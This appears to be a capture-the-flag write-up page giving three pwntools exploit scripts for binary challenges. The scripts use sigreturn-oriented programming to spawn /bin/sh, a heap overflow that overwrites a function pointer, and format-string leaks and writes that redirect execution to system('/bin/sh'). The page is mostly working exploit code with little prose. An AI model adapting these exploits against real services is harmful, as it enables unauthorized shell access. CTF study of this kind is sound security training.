PWN
SigHacked
from pwn import *
context.binary = elf = ELF('./chall')
p = process('./chall')
# Leak buffer address and calculate ELF base
p.recvuntil(b'We will store here ')
buffer_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f'Buffer address: {hex(buffer_addr)}')
p.recvuntil(b'in menu ')
menu_addr = int(p.recvuntil(b',', drop=True), 16)
elf.address = menu_addr - 0x129E
log.info(f'ELF base address: {hex(elf.address)}')
binsh = b'/bin/sh\x00'
syscall_ret = elf.address + 0x1605
# Construct SROP payload
frame = SigreturnFrame()
frame.rax = 0x3B # execve syscall number
frame.rdi = buffer_addr # address of '/bin/sh'
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # syscall instruction after frame
# Add first student with shellcode in name
p.sendlineafter(b'Enter your choice: ', b'1')
p.sendlineafter(b'Enter student name: ', binsh + (b'A' * (50 - len(binsh)))) # buffer_addr contains our /bin/sh
gadgets = p64(elf.address + 0x1604) # pop rax; syscall
gadgets += p64(0xF) # syscall execve
p.sendlineafter(b'Enter student degree: ', (b'B' * 0xFE) + gadgets + bytes(frame))
p.sendlineafter(b'Enter your choice: ', b'3')
p.interactive()
HouseOfNothing
from pwn import *
executable = '/home/ubuntu/Desktop/house/chall'
context.binary = elf = ELF(executable)
io = None
isDebug = True
def pwndbg():
global io
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, '''
set pagination off
b malloc
b free
''')
def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
if isDebug and not disabled:
input(msg)
def choice(num):
"""
0. Hidden MSG
1. Add Idea
2. Delete Idea
3. Show Idea
4. Exit
>
"""
io.sendlineafter(b'> ', str(num).encode())
def elf_address():
choice(0)
msg = io.recvline()
temp = msg[0x31:]
func = temp[:temp.find(b' ')]
return int(func, 16) - 0x1283
def add_idea(idx, data):
choice(1)
io.sendlineafter(b'Enter index (0-9): ', str(idx).encode())
io.sendlineafter(b'Enter your idea: ', data)
def delete_idea(idx):
choice(2)
io.sendlineafter(b'Enter index to delete: ', str(idx).encode())
def print_idea(idx):
choice(3)
io.sendlineafter(b'Enter index to view: ', str(idx).encode())
msg = io.recvline()
print(msg.decode())
def quit():
choice(4)
def exploit():
debug('[*] Starting exploit')
# Exploit
elf.address = elf_address()
print(f'[+] ELF BASE: {hex(elf.address)}')
# print_flag function ptr
flag = elf.address + 0x1269
add_idea(0, b'A' * 64)
add_idea(1, b'B' * 64)
delete_idea(0)
# Heap Overflow
payload = b'C' * (64 + (8 * 3))
payload += p64(flag)
payload += p32(0x0)
# Overwrite print_idea function
add_idea(0, payload)
debug('[*] Triggering function pointer overwrite...')
print_idea(1)
debug('[*] Done.')
io.interactive()
def local():
global io
io = process(executable)
exploit()
def srv(ip, port):
global io
io = remote(ip, port)
exploit()
if __name__ == '__main__':
local()
# host = '127.0.0.1'
# port = '5000'
# srv(host, port)
Subo
from pwn import *
EXECUTABLE = './chall'
LIBC = './libc.so.6'
context.binary = elf = ELF(EXECUTABLE)
libc = ELF(LIBC)
io = None
isDebug = True
def pwndbg():
global io
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(io, '''
set pagination off
b printf
''')
def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
"""Pause execution for debugging."""
if isDebug and not disabled:
input(msg)
def set_username(username):
"""Set the username by sending the -u command."""
io.sendlineafter(b'Enter command: ', b'-u ' + username)
def run_shell_as_user(username):
"""Send the -s command to attempt running a shell as the specified user."""
set_username(username)
io.sendlineafter(b'Enter command: ', b'-s')
msg = io.recvuntil(b'.')
return msg
def format_write(value, addr, offset = 37, padding = 197):
"""
Create a format string payload to write a 2-byte value using %hn.
Parameters:
- value: The 2-byte value to write.
- addr: The memory address to write to.
- offset: The number of characters printed before writing.
- padding: The total payload size to ensure correct alignment.
"""
junk = b'A'
payload = b'%c' * offset
payload += f'%{value - offset}c%hn'.encode()
payload = payload.ljust(padding, junk) + p64(addr)
run_shell_as_user(payload)
def format_leak(offset):
"""
Leak a memory address using a format string vulnerability.
Parameters:
- offset: The position in the format string output where the address appears.
Returns:
- The leaked address as an integer.
"""
username = b'%c' * offset + b'%p'
msg = run_shell_as_user(username)
msg = msg.replace(b'Error: User ', b'').replace(b' not found.', b'')
value = int(msg.split(b'0x')[1].split()[0], 16)
return value
def exploit():
debug('[*] Starting exploit', disabled = True)
# Leak Stack address
stack_addr = format_leak(6)
print(f'[+] Stack address: {hex(stack_addr)}')
# LIBC base address
libc.address = format_leak(2) - 0x114887
print(f'[+] LIBC base: {hex(libc.address)}')
# ELF base address
elf.address = format_leak(10) - 0x18E9
print(f'[+] ELF base: {hex(elf.address)}')
# execute_command_as_user+0x14F0
# mov rax, [rbp+command]
rbp_command = stack_addr + 0x5f0 # Offset 0x5f0 is determined from the leaked stack address in a debugger for [rbp+command]
# Address of '/bin/sh' in libc
binsh_ptr = next(libc.search(b'/bin/sh\x00'))
print(f'[+] LIBC binsh: {hex(binsh_ptr)}')
# Write to [rbp+command] the address of "/bin/sh"
format_write(binsh_ptr & 0xFFFF, rbp_command)
format_write((binsh_ptr >> 16) & 0xFFFF, rbp_command + 2)
format_write((binsh_ptr >> 32) & 0xFFFF, rbp_command + 4)
print(f'[+] [rbp+command] on the stack points to the "/bin/sh\\x00" address.: {hex(rbp_command)}')
# run_shell_as_user+0x1577
# retn
ret_addr = stack_addr - 0x218 # 0x218 is the return address offset, determined from stack analysis in a debugger.
print(f'[+] Return address: {hex(ret_addr)}')
# The address to call system: mov rax, [rbp+command] | mov rdi, rax | call _system | execute_command_as_user+0x14F0
system = (elf.address + 0x14f0) & 0xFFFF
format_write(system, ret_addr)
io.interactive()
def local():
global io
io = process(EXECUTABLE)
exploit()
def srv(ip, port):
global io
io = remote(ip, port)
exploit()
if __name__ == '__main__':
local()
# host = '127.0.0.1'
# port = '5000'
# srv(host, port)
Last updated
Was this helpful?